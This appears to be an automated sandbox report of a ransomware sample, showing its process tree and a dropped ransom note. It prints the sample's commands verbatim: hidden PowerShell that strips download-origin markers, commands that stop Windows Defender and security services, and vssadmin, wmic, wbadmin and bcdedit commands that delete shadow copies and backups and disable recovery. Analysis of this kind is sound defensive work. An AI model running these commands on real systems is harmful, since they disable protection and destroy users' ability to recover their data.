                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wctBBCE.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:2976
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wctBBCE.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                  PID:4152
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wctF675.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:3392
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wctF675.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    PID:2484
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wmsetup.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    PID:4652
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wmsetup.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    PID:2384
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{0060588D-DEFE-440B-B4C0-C026626E1456}:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    PID:1192
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{0060588D-DEFE-440B-B4C0-C026626E1456}'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    PID:2152
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{042AD4D6-EC17-4ECB-8F24-1251E375F2C9} - OProcSessId.dat:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:3176
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{042AD4D6-EC17-4ECB-8F24-1251E375F2C9} - OProcSessId.dat'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:228
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{207DC610-2776-4CA7-A29D-2ECD4106D922} - OProcSessId.dat:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:1860
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{207DC610-2776-4CA7-A29D-2ECD4106D922} - OProcSessId.dat'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:3064
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1924
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:528
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\~DF615D05C77522DFAA.TMP:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                PID:2188
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\~DF615D05C77522DFAA.TMP'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:4412
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                  net stop VSS /y
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:1968
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 stop VSS /y
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:3340
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                      sc stop VSS
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                      PID:3636
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                      net stop swprv /y
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:2968
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 stop swprv /y
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:4860
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                          sc stop swprv
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                          PID:3768
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                          net stop SQLWriter /y
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:2972
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 stop SQLWriter /y
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:2152
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                              sc stop SQLWriter
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                              PID:3840
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                              net stop WinDefend /y
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:1124
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 stop WinDefend /y
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:232
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                  sc stop WinDefend
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                  PID:4368
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                  net stop WdNisSvc /y
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1864
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 stop WdNisSvc /y
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:748
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                      sc stop WdNisSvc
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                      PID:848
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                      net stop SecurityHealthService /y
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1016
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 stop SecurityHealthService /y
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1700
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                          sc stop SecurityHealthService
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                          PID:3076
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          net stop Sense /y
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:964
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 stop Sense /y
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:2156
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                              sc stop Sense
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                              PID:4232
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                              net stop wscsvc /y
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1516
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 stop wscsvc /y
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1728
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                  sc stop wscsvc
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                  PID:1188
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                  vssadmin delete shadows /all /quiet
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                  PID:3064
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                                                                                                                                                                                                  wmic shadowcopy delete
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:3752
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                    vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                    PID:432
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                    vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                    PID:4188
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }"
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5100
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                                                                                                                                                                                                                      wbadmin delete catalog -quiet
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Deletes backup catalog
                                                                                                                                                                                                                                                                                                                                                                      PID:1544
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                                                                                                                                                                                                      bcdedit /set {default} recoveryenabled No
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                                                                                                                                                                                                                                                      PID:3768
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                                                                                                                                                                                                      bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                                                                                                                                                                                                                                                      PID:4712
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Clear-RecycleBin -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:3936
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:3744
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:572
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:540
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:2044
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:1648
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:4876
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:3452
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:3848
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:300
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:1552
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:3968
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:1272
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:2040
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:4720
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:4216
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:1876
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:4136
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:4656
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:2228
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:2852
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:800
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:2720
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:1860
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2272
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3344
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:3636
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\vds.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\vds.exe
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2020

                                                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                                                  RECOVER_YOUR_FILES.txt
                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Recovery\RECOVER_YOUR_FILES.txt
                                                                                                                                                                                                                                                                                                                                                                                  • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 715353a1bfe8ffcfdea5c2476e145fc329e9d1fcf543903bc0da083c3a7782fd
                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
